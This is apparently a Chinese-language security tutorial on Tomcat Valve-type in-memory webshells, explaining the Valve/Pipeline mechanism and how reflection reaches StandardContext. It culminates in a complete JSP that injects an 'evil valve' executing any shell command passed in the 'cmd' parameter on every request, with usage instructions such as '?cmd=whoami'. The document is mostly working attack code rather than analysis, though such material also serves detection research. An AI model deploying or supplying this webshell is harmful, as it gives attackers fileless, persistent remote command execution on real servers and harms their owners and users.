什么是Valve

Valve也可以直接按照字面意思去理解为阀门。我们知道,在生活中可以看到每个管道上面都有阀门,PipelineValve关系也是一样的。Valve代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。

Filter Chain 当中任意添加 Filter;那么 Valve 也就是可以在 Pipline 当中任意添加。

在 Tomcat 中,四大组件 Engine、Host、Context 以及 Wrapper 都有其对应的 Valve 类,StandardEngineValveStandardHostValveStandardContextValve以及 StandardWrapperValve,他们同时维护一个 StandardPipeline 实例。

注入过程

通过StandardContext的getPipline()方法来获取StandardPipeline对象,再通过StandardPipeline对象的addValve()方法来将Valve添加到Pipeline中。

创建一个Valve,TestValve.java:

package com.example.memshell;

import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import java.io.IOException;

public class TestValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        response.setContentType("text/plain");
        response.setCharacterEncoding("UTF-8");
        response.getWriter().write("Valve 被成功调用");
    }
}

创建完Valve还需要将Valve添加到Pipeline中,则使用上述的方法,通过反射将Valve添加到Pipeline中。

创建Servlet,TestConfig.java:

package com.example.memshell;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;

public class TestConfig extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().println("My Servlet");
        Field requestField = null;
        try {
            requestField = req.getClass().getDeclaredField("request");
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        }
        requestField.setAccessible(true);
        final Request request1;
        try {
            request1 = (Request) requestField.get(req);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        StandardContext standardContext = (StandardContext) request1.getContext();
        standardContext.getPipeline().addValve(new TestValve());
    }
}

该代码中通过反射获取到StandardContext,通过getPipeline()获取到StandardPipeline,又通过StandardPipeline中的addValve()方法将自行创建的Valve对象添加进Pipeline中。

创建完成后记得在web.xml中添加路径对应关系,或者直接使用注解进行设置路径对应关系。

启动服务,访问设置好的Servlet

第一次请求:

第二次请求:

可以看到,第一次请求前Valve还没有在Pipeline中,当第二次请求时,新创建的Valve已经通过映射注入进去了,所以在第二次请求时才会显示Valve被成功调用。

注入成功后,请求所有Servlet都会先触发Valve。

执行完Valve中的内容不往下执行Servlet或其他Valve的内容,需要在新建的Valve类中添加getNext().invoke(request, response);执行完当前Valve的内容后就会执行后面的Valve还有Servlet的内容。

修改后的TestValve.java:

package com.example.memshell;

import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import java.io.IOException;

public class TestValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        response.setContentType("text/plain");
        response.setCharacterEncoding("UTF-8");
        response.getWriter().write("Valve 被成功调用");
        getNext().invoke(request, response);
    }
}

JSP完成Valve内存马注入

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    private static class MyValveBase extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                this.getNext().invoke(request, response);
            }
        }
    }
%>
<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();
    ValveBase valveBase = new MyValveBase();

    standardContext.getPipeline().addValve(valveBase);
    out.println("evil valve inject done!");
%>

启动服务后,先访问该jsp文件,然后再在存在的路径上加上?cmd=whoami即可执行命令。

参考链接

零基础从0到1掌握Java内存马(2)

Tomcat Valve 型内存马流程理解与手写EXP